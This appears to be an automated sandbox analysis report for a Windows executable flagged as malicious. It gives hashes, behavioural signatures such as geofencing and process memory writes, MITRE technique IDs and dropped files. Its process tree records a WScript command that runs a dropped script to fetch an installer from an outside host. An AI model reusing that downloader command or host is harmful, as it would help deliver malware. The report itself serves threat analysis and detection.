abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c

Analysis

max time kernel
136s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2022, 06:05

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General

Target

abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe
Size

184KB
MD5

75b38b9f9f2b7892249e7544c54d2dfa
SHA1

44ca73142777e470a046d59ef393f147fea07e32
SHA256

abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c
SHA512

a57523e28c4d21ee5dc4c0784e52c63c5dd8c32c44c95383b4fd66f026a30cddc9d558516abdb11d1f52c1a51a195b64810113cdc932d9a60f9d2d45ff68eef9
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3L:/7BSH8zUB+nGESaaRvoB7FJNndna

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
11	1684	WScript.exe
13	1684	WScript.exe
22	1684	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1568 wrote to memory of 1684	1568	abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe	79
PID 1568 wrote to memory of 1684	1568	abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe	79
PID 1568 wrote to memory of 1684	1568	abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe	79

C:\Users\Admin\AppData\Local\Temp\abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe
"C:\Users\Admin\AppData\Local\Temp\abd4146b55ce5205cb54893c294e1b0d1042ff48babb288e6c7c37b4af2cef8c.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1568
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9659.js" http://www.djapp.info/?domain=HAmnGWSHXN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf9659.exe
  2⤵
  - Blocklisted process makes network request
  PID:1684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf9659.exe

Filesize
570B

MD5
3976d9d51ff0be39d909e8e08091a44d

SHA1
60b2702f9f4ddd1b6b0d552ea6a56b270ba7a226

SHA256
a4c02968d6334ffa786892bd937c6bbaaf74743a7c09a3171337a3a083efd270

SHA512
7a7668522b1e4776b1b263c9bf66cdbff8f58915e9317b86d2b265e8f3a572e5a3155de39f1d5afa587dc52fb253e52a33881265098bd973c018879a1d8da123

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C:\Users\Admin\AppData\Local\Temp\fuf9659.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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